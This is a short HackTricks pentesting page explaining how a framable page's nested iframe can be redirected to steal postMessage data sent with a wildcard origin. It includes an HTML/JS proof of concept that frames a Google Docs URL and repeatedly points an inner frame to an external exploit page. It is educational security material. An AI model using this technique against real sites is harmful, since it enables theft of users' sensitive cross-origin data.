hacktricks/src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
Carlos Polop ae1d2e8ee6 t1
2025-01-03 01:05:32 +01:00

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# Steal postmessage modifying iframe location
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## Changing child iframes locations
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.
This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
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